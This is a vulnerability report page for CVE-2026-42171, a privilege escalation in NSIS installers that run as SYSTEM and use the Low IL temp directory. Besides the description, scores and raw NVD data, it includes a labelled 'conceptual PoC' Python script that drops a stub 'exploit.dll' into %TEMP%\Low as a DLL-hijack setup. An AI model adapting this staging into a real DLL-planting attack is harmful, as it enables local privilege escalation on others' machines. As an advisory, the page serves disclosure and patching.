Security Vulnerability Report
中文
CVE-2026-42171 CVSS 7.8 HIGH

CVE-2026-42171

Published: 2026-04-24 22:16:02
Last Modified: 2026-05-18 14:33:16

Description

NSIS (Nullsoft Scriptable Install System) 3.06.1 before 3.12 sometimes uses the Low IL temp directory when executing as SYSTEM, allowing local attackers to gain privileges (if they can cause my_GetTempFileName to return 0, as shown in the references).

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nullsoft:nullsoft_scriptable_install_system:*:*:*:*:*:*:*:* - VULNERABLE
NSIS 3.06.1
NSIS 3.07
NSIS 3.08
NSIS 3.09
NSIS 3.10
NSIS 3.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Conceptual PoC for CVE-2026-42171 # This script demonstrates how an attacker might prepare the malicious file # in the Low Integrity temp directory before triggering the vulnerable installer. def exploit_simulation(): # Identify the potential Low IL temp directory path # The actual path depends on the specific behavior of my_GetTempFileName target_temp_dir = os.path.expandvars(r"%TEMP%\Low") print(f"[*] Target directory: {target_temp_dir}") # Ensure directory exists (attacker might need to create this in some scenarios) if not os.path.exists(target_temp_dir): try: os.makedirs(target_temp_dir) print(f"[+] Created directory: {target_temp_dir}") except OSError as e: print(f"[-] Error creating directory: {e}") return # Create a malicious payload (e.g., a DLL) # In a real attack, this would be a compiled DLL designed to hijack execution payload_path = os.path.join(target_temp_dir, "exploit.dll") with open(payload_path, "wb") as f: # Simulating a minimal DLL header (MZ) f.write(b"MZ\x90\x00") print(f"[+] Dropped malicious payload at: {payload_path}") print("[*] Waiting for the vulnerable NSIS installer to run as SYSTEM...") print("[*] If the installer uses the Low IL directory, privilege escalation occurs.") if __name__ == "__main__": exploit_simulation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42171", "sourceIdentifier": "[email protected]", "published": "2026-04-24T22:16:01.540", "lastModified": "2026-05-18T14:33:16.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSIS (Nullsoft Scriptable Install System) 3.06.1 before 3.12 sometimes uses the Low IL temp directory when executing as SYSTEM, allowing local attackers to gain privileges (if they can cause my_GetTempFileName to return 0, as shown in the references)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nullsoft:nullsoft_scriptable_install_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.06.1", "versionEndExcluding": "3.12", "matchCriteriaId": "7A2CA663-6F00-478D-BAFC-D53DB9A06C25"}]}]}], "references": [{"url": "https://github.com/NSIS-Dev/nsis/blob/7359413009afd4f0fff472d841fc2f2cc0e0a5f8/Source/exehead/util.c#L475-L484", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/NSIS-Dev/nsis/commit/8e6f02205d5f22da6c7855dbfe59b2af667330ca", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-gettempfilename", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://nsis.sourceforge.io/Docs/AppendixF.html#v3.12-cl", "source": "[email protected]", "tags": ["Release Notes"]}]}}